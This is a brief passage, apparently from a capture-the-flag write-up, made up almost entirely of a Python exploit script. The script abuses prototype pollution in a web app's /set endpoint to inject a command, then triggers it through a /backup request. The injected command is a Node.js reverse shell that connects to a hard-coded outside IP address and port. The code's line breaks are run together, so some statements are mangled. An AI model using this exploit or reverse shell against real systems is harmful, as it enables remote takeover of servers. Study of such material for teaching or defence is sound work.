We can set `util.redis` by exploiting prototype pollution:
```import sysimport requests
host = sys.argv[1]# cmd = sys.argv[2]
rshell_host = "159.89.205.15"rshell_port = "8181"
# https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shellcmd = """node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(""" + rshell_port + """, \"""" + rshell_host + """\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'"""
r = requests.get(f'{host}/set', params={    "user_token": "__proto__",    "key": "redis_set",    "value": cmd + ";#"})
print(r.text)
r = requests.put(f'{host}/backup')print(r.text)```